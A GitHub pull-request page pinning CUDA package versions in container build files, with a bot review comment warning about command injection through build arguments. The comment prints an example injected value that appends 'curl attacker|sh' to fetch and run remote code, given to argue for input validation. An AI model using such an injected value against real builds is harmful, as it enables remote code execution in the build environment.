Skip to content

Pin unpinned CUDA packages for reproducible builds (#162) #203

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Draft
smoparth wants to merge 1 commit into
base: main
Choose a base branch
from
Draft

Pin unpinned CUDA packages for reproducible builds (#162) #203

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
16 changes: 13 additions & 3 deletions Containerfile.cuda.template
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION
Comment on lines +22 to +25
Copy link
Copy Markdown

@coderabbitai coderabbitai Bot Apr 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "Locate all NV_* interpolations introduced in dnf install lines:"
rg -n 'cuda-cupti-\$\{CUDA_MAJOR_MINOR\}-\$\{NV_CUDA_CUPTI_VERSION\}|libcusparselt0-\$\{NV_LIBCUSPARSELT_VERSION\}|libcudss0-cuda-\$\{CUDA_MAJOR\}-\$\{NV_LIBCUDSS_VERSION\}' Containerfile.cuda.template cuda/*/Containerfile

echo
echo "Check whether allowlist validation exists for these args (expected: no matches before fix):"
rg -n 'Invalid NV_\* version|grep -E.*NV_(CUDA_CUPTI|LIBCUSPARSELT|LIBCUDSS)_VERSION|case .*NV_(CUDA_CUPTI|LIBCUSPARSELT|LIBCUDSS)_VERSION' Containerfile.cuda.template cuda/*/Containerfile

Repository: opendatahub-io/base-containers

Length of output: 1820

Validate NV_* build args before shell expansion (CWE-77/CWE-88, Major).

Lines 171–173 interpolate ${NV_CUDA_CUPTI_VERSION}, ${NV_LIBCUSPARSELT_VERSION}, and ${NV_LIBCUDSS_VERSION} directly into the dnf install command without validation. Since build args are externally overridable, hostile or malformed values can inject shell metacharacters during image build.

Exploit: NV_LIBCUDSS_VERSION='0.7.1.4-1;curl attacker|sh' executes arbitrary code in the build environment.

Remediation (apply to template, regenerate Containerfiles) 
 RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
+    set -euo pipefail; \
+    for v in "${NV_CUDA_CUPTI_VERSION}" "${NV_LIBCUSPARSELT_VERSION}" "${NV_LIBCUDSS_VERSION}"; do \
+      printf '%s\n' "${v}" | grep -Eq '^[0-9][0-9A-Za-z._:+~-]*$' || { \
+        echo "Invalid NV_* version value: ${v}" >&2; exit 1; \
+      }; \
+    done; \
     dnf install -y --setopt=keepcache=1 \
         cuda-cupti-${CUDA_MAJOR_MINOR}-${NV_CUDA_CUPTI_VERSION} \
         libcusparselt0-${NV_LIBCUSPARSELT_VERSION} \
         libcudss0-cuda-${CUDA_MAJOR}-${NV_LIBCUDSS_VERSION}

Also affects: lines 22–25, 60–63 (ARG declarations); generated Containerfiles cuda/13.2, 13.1, 13.0, 12.9, 12.8.

🤖 Prompt for AI Agents 
Verify each finding against the current code and only fix it if needed.

In `@Containerfile.cuda.template` around lines 22 - 25, The Dockerfile/template
declares build args NV_CUDA_CUPTI_VERSION, NV_CUDNN_VERSION,
NV_LIBCUSPARSELT_VERSION, and NV_LIBCUDSS_VERSION and then directly interpolates
them into a shell command (the dnf install invocation), which allows shell
metacharacter injection; fix by validating/sanitizing those ARG values before
any shell expansion: add a short validation step (e.g., a shell snippet using a
strict regex like /^[A-Za-z0-9._+-]+$/) that checks each of
NV_CUDA_CUPTI_VERSION, NV_LIBCUSPARSELT_VERSION, NV_LIBCUDSS_VERSION (and
NV_CUDNN_VERSION if used similarly) and exits the build with an error if
validation fails, or alternatively switch to using these as literal package
names passed without shell expansion (e.g., pass them into a non-interpolated
form or use --define/--arg-safe mechanism) so no untrusted characters can be
executed; ensure the check/validation appears before the dnf install/command
that interpolates ${NV_CUDA_CUPTI_VERSION}, ${NV_LIBCUSPARSELT_VERSION}, and
${NV_LIBCUDSS_VERSION}.

ARG NVIDIA_REQUIRE_CUDA

# Build metadata for OCI labels
Expand Down Expand Up @@ -54,7 +57,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION

USER 0
WORKDIR /opt/app-root/bin
Expand Down Expand Up @@ -103,6 +109,10 @@ RUN { echo "[cuda-rhel9-${NVARCH}]"; \
# -----------------------------------------------------------------------------
# CUDA Base Packages
# -----------------------------------------------------------------------------
# cuda-compat is intentionally unpinned: provides forward-compatible userspace
# CUDA libraries so containers work with newer host GPU drivers. NVIDIA leaves
# this unpinned by design in their own images.
# https://docs.nvidia.com/deploy/cuda-compatibility/
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf upgrade -y --setopt=keepcache=1 && \
dnf install -y --setopt=keepcache=1 \
Expand Down Expand Up @@ -158,9 +168,9 @@ RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containe
# -----------------------------------------------------------------------------
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf install -y --setopt=keepcache=1 \
cuda-cupti-${CUDA_MAJOR_MINOR} \
libcusparselt0 \
libcudss0-cuda-${CUDA_MAJOR}
cuda-cupti-${CUDA_MAJOR_MINOR}-${NV_CUDA_CUPTI_VERSION} \
libcusparselt0-${NV_LIBCUSPARSELT_VERSION} \
libcudss0-cuda-${CUDA_MAJOR}-${NV_LIBCUDSS_VERSION}

ENV XLA_FLAGS=--xla_gpu_cuda_data_dir=/usr/local/cuda

Expand Down
16 changes: 13 additions & 3 deletions cuda/12.8/Containerfile
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION
ARG NVIDIA_REQUIRE_CUDA

# Build metadata for OCI labels
Expand Down Expand Up @@ -54,7 +57,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION

USER 0
WORKDIR /opt/app-root/bin
Expand Down Expand Up @@ -103,6 +109,10 @@ RUN { echo "[cuda-rhel9-${NVARCH}]"; \
# -----------------------------------------------------------------------------
# CUDA Base Packages
# -----------------------------------------------------------------------------
# cuda-compat is intentionally unpinned: provides forward-compatible userspace
# CUDA libraries so containers work with newer host GPU drivers. NVIDIA leaves
# this unpinned by design in their own images.
# https://docs.nvidia.com/deploy/cuda-compatibility/
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf upgrade -y --setopt=keepcache=1 && \
dnf install -y --setopt=keepcache=1 \
Expand Down Expand Up @@ -158,9 +168,9 @@ RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containe
# -----------------------------------------------------------------------------
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf install -y --setopt=keepcache=1 \
cuda-cupti-${CUDA_MAJOR_MINOR} \
libcusparselt0 \
libcudss0-cuda-${CUDA_MAJOR}
cuda-cupti-${CUDA_MAJOR_MINOR}-${NV_CUDA_CUPTI_VERSION} \
libcusparselt0-${NV_LIBCUSPARSELT_VERSION} \
libcudss0-cuda-${CUDA_MAJOR}-${NV_LIBCUDSS_VERSION}

ENV XLA_FLAGS=--xla_gpu_cuda_data_dir=/usr/local/cuda

Expand Down
21 changes: 21 additions & 0 deletions cuda/12.8/app.conf
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -72,6 +72,27 @@ NV_LIBNCCL_PACKAGE_VERSION=2.25.1-1
# -----------------------------------------------------------------------------
NV_CUDNN_VERSION=9.8.0.87-1

# -----------------------------------------------------------------------------
# CUPTI (CUDA Profiling Tools Interface)
# Required by PyTorch profiler; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_CUDA_CUPTI_VERSION=12.8.90-1

# -----------------------------------------------------------------------------
# cuSPARSELt (structured sparsity)
# Required by PyTorch sparse operations; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_LIBCUSPARSELT_VERSION=0.7.1.0-1

# -----------------------------------------------------------------------------
# cuDSS (direct sparse solver)
# Required by scientific/ML solvers; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_LIBCUDSS_VERSION=0.7.1.4-1

# -----------------------------------------------------------------------------
# PyPI Indexes
# -----------------------------------------------------------------------------
Expand Down
16 changes: 13 additions & 3 deletions cuda/12.9/Containerfile
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION
ARG NVIDIA_REQUIRE_CUDA

# Build metadata for OCI labels
Expand Down Expand Up @@ -54,7 +57,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION

USER 0
WORKDIR /opt/app-root/bin
Expand Down Expand Up @@ -103,6 +109,10 @@ RUN { echo "[cuda-rhel9-${NVARCH}]"; \
# -----------------------------------------------------------------------------
# CUDA Base Packages
# -----------------------------------------------------------------------------
# cuda-compat is intentionally unpinned: provides forward-compatible userspace
# CUDA libraries so containers work with newer host GPU drivers. NVIDIA leaves
# this unpinned by design in their own images.
# https://docs.nvidia.com/deploy/cuda-compatibility/
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf upgrade -y --setopt=keepcache=1 && \
dnf install -y --setopt=keepcache=1 \
Expand Down Expand Up @@ -158,9 +168,9 @@ RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containe
# -----------------------------------------------------------------------------
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf install -y --setopt=keepcache=1 \
cuda-cupti-${CUDA_MAJOR_MINOR} \
libcusparselt0 \
libcudss0-cuda-${CUDA_MAJOR}
cuda-cupti-${CUDA_MAJOR_MINOR}-${NV_CUDA_CUPTI_VERSION} \
libcusparselt0-${NV_LIBCUSPARSELT_VERSION} \
libcudss0-cuda-${CUDA_MAJOR}-${NV_LIBCUDSS_VERSION}

ENV XLA_FLAGS=--xla_gpu_cuda_data_dir=/usr/local/cuda

Expand Down
21 changes: 21 additions & 0 deletions cuda/12.9/app.conf
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -72,6 +72,27 @@ NV_LIBNCCL_PACKAGE_VERSION=2.27.3-1
# -----------------------------------------------------------------------------
NV_CUDNN_VERSION=9.8.0.87-1

# -----------------------------------------------------------------------------
# CUPTI (CUDA Profiling Tools Interface)
# Required by PyTorch profiler; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_CUDA_CUPTI_VERSION=12.9.79-1

# -----------------------------------------------------------------------------
# cuSPARSELt (structured sparsity)
# Required by PyTorch sparse operations; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_LIBCUSPARSELT_VERSION=0.7.1.0-1

# -----------------------------------------------------------------------------
# cuDSS (direct sparse solver)
# Required by scientific/ML solvers; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_LIBCUDSS_VERSION=0.7.1.4-1

# -----------------------------------------------------------------------------
# PyPI Indexes
# Note: PyTorch does not publish cu129 wheels. Using cu128 instead, which is
Expand Down
16 changes: 13 additions & 3 deletions cuda/13.0/Containerfile
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION
ARG NVIDIA_REQUIRE_CUDA

# Build metadata for OCI labels
Expand Down Expand Up @@ -54,7 +57,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION

USER 0
WORKDIR /opt/app-root/bin
Expand Down Expand Up @@ -103,6 +109,10 @@ RUN { echo "[cuda-rhel9-${NVARCH}]"; \
# -----------------------------------------------------------------------------
# CUDA Base Packages
# -----------------------------------------------------------------------------
# cuda-compat is intentionally unpinned: provides forward-compatible userspace
# CUDA libraries so containers work with newer host GPU drivers. NVIDIA leaves
# this unpinned by design in their own images.
# https://docs.nvidia.com/deploy/cuda-compatibility/
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf upgrade -y --setopt=keepcache=1 && \
dnf install -y --setopt=keepcache=1 \
Expand Down Expand Up @@ -158,9 +168,9 @@ RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containe
# -----------------------------------------------------------------------------
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf install -y --setopt=keepcache=1 \
cuda-cupti-${CUDA_MAJOR_MINOR} \
libcusparselt0 \
libcudss0-cuda-${CUDA_MAJOR}
cuda-cupti-${CUDA_MAJOR_MINOR}-${NV_CUDA_CUPTI_VERSION} \
libcusparselt0-${NV_LIBCUSPARSELT_VERSION} \
libcudss0-cuda-${CUDA_MAJOR}-${NV_LIBCUDSS_VERSION}

ENV XLA_FLAGS=--xla_gpu_cuda_data_dir=/usr/local/cuda

Expand Down
21 changes: 21 additions & 0 deletions cuda/13.0/app.conf
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -72,6 +72,27 @@ NV_LIBNCCL_PACKAGE_VERSION=2.28.3-1
# -----------------------------------------------------------------------------
NV_CUDNN_VERSION=9.15.1.9-1

# -----------------------------------------------------------------------------
# CUPTI (CUDA Profiling Tools Interface)
# Required by PyTorch profiler; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_CUDA_CUPTI_VERSION=13.0.85-1

# -----------------------------------------------------------------------------
# cuSPARSELt (structured sparsity)
# Required by PyTorch sparse operations; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_LIBCUSPARSELT_VERSION=0.7.1.0-1

# -----------------------------------------------------------------------------
# cuDSS (direct sparse solver)
# Required by scientific/ML solvers; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_LIBCUDSS_VERSION=0.7.1.4-1

# -----------------------------------------------------------------------------
# PyPI Indexes
# -----------------------------------------------------------------------------
Expand Down
16 changes: 13 additions & 3 deletions cuda/13.1/Containerfile
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION
ARG NVIDIA_REQUIRE_CUDA

# Build metadata for OCI labels
Expand Down Expand Up @@ -54,7 +57,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION

USER 0
WORKDIR /opt/app-root/bin
Expand Down Expand Up @@ -103,6 +109,10 @@ RUN { echo "[cuda-rhel9-${NVARCH}]"; \
# -----------------------------------------------------------------------------
# CUDA Base Packages
# -----------------------------------------------------------------------------
# cuda-compat is intentionally unpinned: provides forward-compatible userspace
# CUDA libraries so containers work with newer host GPU drivers. NVIDIA leaves
# this unpinned by design in their own images.
# https://docs.nvidia.com/deploy/cuda-compatibility/
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf upgrade -y --setopt=keepcache=1 && \
dnf install -y --setopt=keepcache=1 \
Expand Down Expand Up @@ -158,9 +168,9 @@ RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containe
# -----------------------------------------------------------------------------
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf install -y --setopt=keepcache=1 \
cuda-cupti-${CUDA_MAJOR_MINOR} \
libcusparselt0 \
libcudss0-cuda-${CUDA_MAJOR}
cuda-cupti-${CUDA_MAJOR_MINOR}-${NV_CUDA_CUPTI_VERSION} \
libcusparselt0-${NV_LIBCUSPARSELT_VERSION} \
libcudss0-cuda-${CUDA_MAJOR}-${NV_LIBCUDSS_VERSION}

ENV XLA_FLAGS=--xla_gpu_cuda_data_dir=/usr/local/cuda

Expand Down
21 changes: 21 additions & 0 deletions cuda/13.1/app.conf
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -72,6 +72,27 @@ NV_LIBNCCL_PACKAGE_VERSION=2.29.2-1
# -----------------------------------------------------------------------------
NV_CUDNN_VERSION=9.17.1.4-1

# -----------------------------------------------------------------------------
# CUPTI (CUDA Profiling Tools Interface)
# Required by PyTorch profiler; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_CUDA_CUPTI_VERSION=13.1.115-1

# -----------------------------------------------------------------------------
# cuSPARSELt (structured sparsity)
# Required by PyTorch sparse operations; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_LIBCUSPARSELT_VERSION=0.7.1.0-1

# -----------------------------------------------------------------------------
# cuDSS (direct sparse solver)
# Required by scientific/ML solvers; not present in NVIDIA images (ODH-specific).
# Source: https://developer.download.nvidia.com/compute/cuda/repos/rhel9/x86_64/
# -----------------------------------------------------------------------------
NV_LIBCUDSS_VERSION=0.7.1.4-1

# -----------------------------------------------------------------------------
# PyPI Indexes
# Note: Using cu130 for CUDA 13.1 - PyTorch doesn't publish cu131 wheels.
Expand Down
16 changes: 13 additions & 3 deletions cuda/13.2/Containerfile
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION
ARG NVIDIA_REQUIRE_CUDA

# Build metadata for OCI labels
Expand Down Expand Up @@ -54,7 +57,10 @@ ARG NV_LIBNPP_VERSION
ARG NV_LIBCUBLAS_VERSION
ARG NV_LIBNCCL_VERSION
ARG NV_LIBNCCL_PACKAGE_VERSION
ARG NV_CUDA_CUPTI_VERSION
ARG NV_CUDNN_VERSION
ARG NV_LIBCUSPARSELT_VERSION
ARG NV_LIBCUDSS_VERSION

USER 0
WORKDIR /opt/app-root/bin
Expand Down Expand Up @@ -103,6 +109,10 @@ RUN { echo "[cuda-rhel9-${NVARCH}]"; \
# -----------------------------------------------------------------------------
# CUDA Base Packages
# -----------------------------------------------------------------------------
# cuda-compat is intentionally unpinned: provides forward-compatible userspace
# CUDA libraries so containers work with newer host GPU drivers. NVIDIA leaves
# this unpinned by design in their own images.
# https://docs.nvidia.com/deploy/cuda-compatibility/
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf upgrade -y --setopt=keepcache=1 && \
dnf install -y --setopt=keepcache=1 \
Expand Down Expand Up @@ -158,9 +168,9 @@ RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containe
# -----------------------------------------------------------------------------
RUN --mount=type=cache,target=/var/cache/dnf,sharing=locked,id=odh-base-containers-cuda-dnf \
dnf install -y --setopt=keepcache=1 \
cuda-cupti-${CUDA_MAJOR_MINOR} \
libcusparselt0 \
libcudss0-cuda-${CUDA_MAJOR}
cuda-cupti-${CUDA_MAJOR_MINOR}-${NV_CUDA_CUPTI_VERSION} \
libcusparselt0-${NV_LIBCUSPARSELT_VERSION} \
libcudss0-cuda-${CUDA_MAJOR}-${NV_LIBCUDSS_VERSION}

ENV XLA_FLAGS=--xla_gpu_cuda_data_dir=/usr/local/cuda

Expand Down
Loading